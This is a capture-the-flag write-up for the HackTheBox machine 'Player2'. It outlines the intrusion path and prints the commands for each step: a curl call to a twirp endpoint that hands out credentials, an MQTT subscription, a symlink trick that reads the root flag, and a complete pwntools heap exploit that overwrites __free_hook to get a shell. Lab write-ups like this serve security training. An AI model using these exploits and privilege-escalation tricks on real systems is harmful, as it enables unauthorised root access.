Player2 @ HackTheBox
Player2 is a 50-point Linux machine on HackTheBox. For user we do some web fuzzing, call a twirp method to get credentials, find hidden backup totp codes, and then bypass a signature check on a firmware sample we can upload. Finally, subscribe to the running Mosquitto MQTT service to find a SSH private key. For Root there is an unintended way to use MQTT to leak the root flag or a Heap Exploit.
Notes
Get Credentials
1
curl --request "POST" --location "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" --header "Content-Type:application/json" --data '{"number": 1}' --verbose
Mosquitto Sub
1
mosquitto_sub -h 127.0.0.1 -v -t '$SYS/#'
Unintended Root (as observer)
1
2
mv id_rsa id_rsa.bak
ln -s /root/root.txt id_rsa
The Heap Exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python
from pwn import *
import random
import string
import time
# Author: xct
def create_config(p, name='xct', desc_size=0, desc=''):
p.recvuntil('protobs@player2:~$')
p.sendline('2')
p.recvuntil(']:')
p.sendline(name)
p.recvuntil(']:')
p.sendline('')
p.recvuntil(']:')
p.sendline('')
p.recvuntil(']:')
p.sendline('')
p.recvuntil(']:')
p.sendline('')
p.recvuntil(']:')
p.sendline('')
p.recvuntil(']:')
p.sendline(str(desc_size))
p.recvuntil(']:')
p.send(desc)
def delete_config(p, index):
p.recvuntil('protobs@player2:~$')
p.sendline('4')
p.recvuntil(']:')
p.sendline(str(index))
def read_config(p, index):
p.recvuntil('protobs@player2:~$')
p.sendline('3')
p.recvuntil(']:')
p.sendline(str(index))
context.arch = 'amd64'
context.log_level = 'debug'
libc = ELF('./libc.so.6')
main = ELF('./Protobs')
BASE_OFFSET = 0x1EB9a8
FREE_HOOK = 0x1E75A8
ONE_GADGET = 0xe2383
s = ssh(host='10.10.10.170', user='observer', keyfile='observer.key')
p = s.run('/opt/Configuration_Utility/Protobs')
create_config(p, desc_size=72, desc='A'*64)
read_config(p, 0)
p.recvuntil("A"*(64))
leak = p.recvline()[:-1]
leak += b"\x00\x00"
leak = u64(leak)
base = leak-BASE_OFFSET
log.success('Leak: ' +hex(leak))
log.success('Libc-Base: '+hex(base))
idx = 1
create_config(p, desc_size=0x68, name='BBBB', desc='B'*(0x68)) #1
create_config(p, desc_size=0x68, name='CCCC', desc='C'*(0x68)) #2
create_config(p, desc_size=0x38, name='DDDD', desc='D'*(0x38)) #3
create_config(p, desc_size=0x20, name='ZZZZ', desc='Z'*(0x20)) #4
delete_config(p, idx+2)
delete_config(p, idx+1)
create_config(p, desc_size=0x68, name=b'M'*0x68+b'N'*8+p64(base+FREE_HOOK), desc=b'P'*(0x20))
create_config(p, desc_size=0x38, name=p64(0xcafebabe), desc=p64(base+ONE_GADGET))
delete_config(p, 0)
p.interactive()
p.close()
This post is licensed under CC BY 4.0 by the author.